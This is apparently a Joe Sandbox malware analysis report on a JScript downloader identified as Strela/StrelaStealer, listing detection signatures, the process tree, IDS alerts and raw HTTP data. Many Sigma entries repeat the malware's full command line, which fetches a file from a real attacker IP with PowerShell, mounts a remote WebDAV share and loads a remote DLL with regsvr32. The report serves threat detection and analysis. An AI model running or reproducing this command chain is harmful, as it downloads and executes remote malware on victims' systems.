Edit tour

Windows Analysis Report
9748121671124198.js

Overview

General Information

Sample name:	9748121671124198.js
Analysis ID:	1588539
MD5:	34e4731866accca1c3f734c32e86a6c3
SHA1:	4e536c52d7ec4fac25fa67cc1b4aaa8c02521e7e
SHA256:	5ba732bdaf7d8c2faaa22006a219a2ff04a7063097d631d8fb20b55d975e4f37
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7308 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7356 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7408 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7596 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7804 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8060 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2260 --field-trial-handle=1528,i,10806060758790697450,4186649136611924250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7612 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7640 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7880 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7308	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7408, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7408, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", ProcessId: 7308, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7640, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7356, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7356, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7356, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7356, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7356, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", ProcessId: 7308, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7408, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7640, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7880, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7612, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7640, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9748121671124198.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll, ProcessId: 7356, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:12:42.561620+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:12:45.601694+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:12:42.561620+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 9748121671124198.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 9748121671124198.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 9748121671124198.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:12:42 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 